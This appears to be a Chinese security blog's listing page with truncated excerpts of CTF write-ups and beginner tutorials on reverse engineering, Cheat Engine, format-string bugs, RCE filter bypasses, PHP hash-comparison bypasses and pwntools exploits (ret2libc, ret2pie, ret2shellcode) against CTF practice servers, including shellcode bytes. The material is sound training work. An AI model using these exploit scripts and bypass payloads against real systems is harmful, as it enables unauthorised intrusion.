BeginCTF2024个人解题报告
BeginCTF2024个人解题报告xor123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657#include <cstdio>#include <cstring>using namespace std;char inputStr4[32],key2_1[32],key2_2[32],key1_1[32],key1_2[32],inputStr3_1[32],inputStr3_2[32],inputStr2[32],inputStr1_1[32],inputStr1_2[32];int main(void){ strcpy(inputStr4,"`agh{^bvuwTooahlYocPtmyiijj|ek'p"); strcpy(key2_1,"4180387362590136"); strcpy(key2_2,&qu ...
HGAME2024Week1-2个人解题报告
HGAME2024Week1-2个人解题报告Week1ezIDAIDA打开就看到。
ezASM将db区域定义的每个字节数据异或0x22即可。
ezPYCpyinstxtractor解包.exe,得到ezPYC改后缀.pyc。应该是3.10以上编译的,Magic Number为0xa7,从解包出来的其他.pyc中找到16字节文件头,再pycdc反汇编,发现简单异或加密。
ezUPXupx -d直接解包,发现简单异或加密。
EzSignInnc连上就给。
签到关注公众号然后HGAME2024。
SignIn直接画图调整图片尺寸,改水平缩放为500%能勉强看出来。
Week2其实从Week2往后都没有参加,以下两道是帮学长解的…
ezcpp4次TEA加密,只不过明文地址挺尴尬的。
12345678910111213141516171819202122232425262728293031323334353637383940414243#include <cstdio>using namespace std;unsigned char enc[32] = { 0x88 ...
CheatEngine基本操作
CheatEngine基本操作第1关打开进程即可。
第2关:精确值扫描初始血量为100,数值查找100,扫描类型选择精确数值,数值类型最好为4字节或2字节,点击“首次扫描”,左侧出现若干地址及数值。点击目标进程的“打我”后血量变95,将右侧100改为95,点击“再次扫描”,左侧只剩下一个地址,双击移动到下侧,再在下侧双击或选中回车改变为1000,“下一步”按钮激活。
第3关:未知初始值&减少的数值点击“新的扫描”。本关只知道血条,不知道具体数值。
第一次扫描时扫描类型选择“未知的初始值”,然后“首次扫描”。点击“打我”,扫描类型选择“减少的数值”,然后“再次扫描”,左侧筛选出一些地址,重复这个操作,直到左侧数量不再减少。从左侧列表找一个看起来正常的值,修改为5000即可。
第4关:单/双精度“健康”和“弹药”值分别为单浮点和双浮点,都要求改为5000。
对于“健康”,数值类型选择“单浮点”,对于“弹药”,数值类型选择“双浮点”。扫描类型都选“精确数值”。
第5关:代码查找下方数值的保存地址一直在变,无法正常锁定该地址。首先先第一次锁定该地址,然后F6右键“找出是什么改 ...
PWN入门-格式化字符串漏洞
PWN入门-格式化字符串漏洞基础知识%n1234567891011#include <stdio.h>void main(){ int i; char str[]="hello"; printf("%s %n\n",str,&i); printf("%d\n",i);};/* hello 6*/
pwntools例题1源码:
12345678910111213#include <cstdio>void main(void){ char str[1024]; while(true){ memset(str,'\0',1024); read(0,str,1024); printf(str); fflush(stdout); }; return 0;};//echo 0 > /proc/sys/ker ...
Web入门-RCE漏洞绕过常用方法
Web入门-RCE漏洞绕过常用方法基础知识空格过滤可代替空格的:
12345678<<>%20%09$IFS$9${IFS}$IFS{cat,/flag}
反斜杠绕过12c\at /flagl\s /
取反绕过构造脚本
1234567<?php fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n","\r","\n"),"",fgets(STDIN)); fwrite(STDOUT,'[+]your command: '); $command=str_replace(array("\r\n","\r","\n"),"",fgets(STDIN)); echo '[*] (~'.urlenc ...
Web入门-PHP中MD5与SHA1绕过
Web入门-PHP中MD5与SHA1绕过基础知识弱比较绕过PHP将哈希字符串开头为0e的解释为0。
md5加密后0e开头的:
12345678QLTHNDTQNKCDZO240610708s878926199as155964671as214587387as214587387a0e215962017
sha1加密后0e开头的:
123456aaroZmOkaaK1STfYaaO8zKZFaa3OFF9m0e129063370410932435112
双重md5加密后0e开头的:
1237r4lGXCH2Ksu2JNT3BYMCbDLytmyGm2xQyaLNhWn770hQgrBOjrcqftrlaZk
数组绕过/强比较绕过md5与sha1无法处理数组,都返回NULL。payload:
1?a[]=1&b[]=2
MD5碰撞123if((string)$_POST['a']!==(string)$_POST['b'] && md5($_POST['a'])===md5($_POST[ ...
URLFinder基础操作
URLFinder基础操作用途查找隐藏在页面或js中的敏感或未授权api接口。
常用参数
-u 目标URL
-s 显示指定状态码,all全部
-m 默认1正常抓取 2深入抓取(url只深入一层防抓偏) 3安全深入抓取(过滤delete、remove等敏感路由)
-f 从文件中批量读取URL抓取
-o 结果导出csv文件
常见用法123URLFinder -u http://www.baidu.com -s all -m 2URLFinder -u http://www.baidu.com -s 200,403 -m 2URLFinder -s all -m 2 -f url.txt -o .
PWN入门-ret2libc做题
PWN入门-ret2libc做题[2021 鹤城杯]babyof将puts的got表地址传给rdi,返回到puts的plt表上,将puts的got表地址泄漏,最后再返回到main上。
libc查出bin/sh和system的相对偏移,再构造新利用链打。
可惜垃圾libcsearcher没有这个libc版本,得在线查。
12345678910111213141516171819202122232425262728293031from pwn import *from LibcSearcher import *import structcontext(log_level='debug',os='linux',arch='amd64')elf=ELF('./babyof')p=remote("node4.anna.nssctf.cn",28930)p.recvuntil("Do you know how to do buffer overflow?\n")stac ...
PWN入门-ret2pie做题
PWN入门-ret2pie做题[NISACTF 2022]ezpiePIE保护时基地址随机,先泄漏main地址,直接给了。计算偏移算shell函数地址。
123456789101112from pwn import *context(log_level='debug',os='linux',arch='i386')p=remote("node5.anna.nssctf.cn",28166)p.recvuntil("0x") #地址前缀0xmain_addr=int(p.recv(8),16) #8位地址以16进制形式读p.recvuntil("Input:")elf_base=main_addr-0x770 #计算偏移stack_overflow=b'a'*(0x28+4)shell_addr=p32(elf_base+0x80f) #求真实shell地址payload1=flat([stack_overflow,shell_addr])p.sen ...
PWN入门-ret2shellcode做题
PWN入门-ret2shellcode做题[HNCTF 2022 Week1]ret2shellcode123456789from pwn import *context(log_level='debug',os='linux',arch='amd64')p=remote("node5.anna.nssctf.cn",28261)elf=ELF('./attachment')shellcode=asm(shellcraft.sh()).ljust(0x108,b'a')buff_addr=p64(elf.sym["buff"])payload1=flat([shellcode,buff_addr])p.sendline(payload1)p.interactive()
[GDOUCTF 2023]Shellcode123456789101112131415161718# 64位短shellcode 23字节:\x48\x31\xf6\x56\x4 ...